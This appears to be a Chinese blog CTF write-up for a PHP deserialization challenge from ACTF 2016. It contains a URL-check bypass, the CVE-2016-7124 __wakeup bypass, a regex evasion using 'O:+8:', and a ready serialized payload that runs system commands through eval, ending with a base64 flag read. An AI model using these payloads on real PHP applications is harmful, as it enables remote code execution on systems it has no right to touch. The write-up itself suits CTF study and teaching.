freopen's Blog

CY的魔幻之旅(PHP 反序列化)题解

ACTF 2016 CY的魔幻之旅 (php反序列化)

0x01 审计代码

if(isset($_POST['url'])){
    $url = $_POST['url'];
    $check = check_url($url);
    if($check){
        $string = $_GET['string'];
        aaa_unserialize($string);
    }
}

表示要用POST提交一个url,并且经过check_url()检验合法之后才会执行aaa_unserialize()

function check_url($url){
    $check = parse_url($url);
    if(substr($url, 0, 21) !== "http://www.melodia.pw" || substr($url, 21, 1) === "@"){
        die("NONONO");
    }
    if( stripos($url, '172') === FALSE && stripos($url, '192') === FALSE && stripos($url, '10') === FALSE && stripos($url, 'localhost') === FALSE && stripos($url, '127') === FALSE)
        return $check["host"] === 'gov.cn';
    else
        return 0;
}

构造的url从0-21位必须是http://www.melodia.pw并且第22位不能是@,而且不能有172,192,10,localhost,127这些内网地址

并且通过parse_url()解析出来的host字段必须是gov.cn

于是我们就构造出一个合法的url:http://www.melodia.pws@gov.cn

然后通过GET提交反序列化的字符串

function __destruct()
{
    eval($this->question2);
}

eval()函数在__destruct()函数里面,当对象被销毁的时候会自动执行question2里面的语句,所以我们需要想办法控制question2的值

function __wakeup()
{
    foreach(get_object_vars($this) as $k => $v) {
        $this->$k = null;
    }
}

然而这个__wakeup()方法会在反序列化之前被调用,会把对象里面的所有字段变成null

但是可以通过CVE-2016-7124进行绕过

CVE-2016-7124 漏洞

当序列化字符串中标明的属性个数大于实际对象属性个数时,unserialize() 函数在处理过程中会因错误而提前结束,导致 __wakeup() 魔术方法不被执行。但对象及其属性已经创建,因此后续的 __destruct() 等方法仍可能被触发

也就是O:8:"aaaClass":3改为O:8:"aaaClass":4

正则绕过

aaa_unserialize()函数中通过正则来匹配反序列化字符串里面的O:数字:C:数字:

preg_match('/[oc]:\d+:/i', $value, $matches);

PHP 5.x可以改成O:+2:来绕过正则的匹配(+的编码是%2B)

0x02 利用过程

<?php
class aaaClass
{
    private $question1 = '';
    private $question2 = "system("id");";
    private $answer = '';
    // function __destruct()
    // {
    //     eval($this->question2);
    // }

    function __wakeup()
    {
        foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
    }
}

function aaa_unserialize($value){
    preg_match('/[oc]:\d+:/i', $value, $matches);

    if (count($matches)){
        return false;
    }

    return unserialize($value);
}
echo serialize(new aaaClass());
?>

question2的值改成system("id");(不像ls,id这个命令一定是有回显的 btw, id的命令长度和ls相同 可以不用改长度直接替换成ls),测试是否能正常回显数据

O:%2B8:"aaaClass":4:{s:19:"%00aaaClass%00question1";s:0:"";s:19:"%00aaaClass%00question2";s:13:"system("id");";s:16:"%00aaaClass%00answer";s:0:"";}

image-20260918144036373 成功,接着我们查看服务器的目录情况

flag.php index.php

发现flag.php就放在该目录下

于是cat flag.php 但是没有发现回显

cat flag.php|base64成功回显flag的base64

个人猜测是有过滤flag, AAA{等字段

教训就是下次读取flag等敏感信息的时候使用base64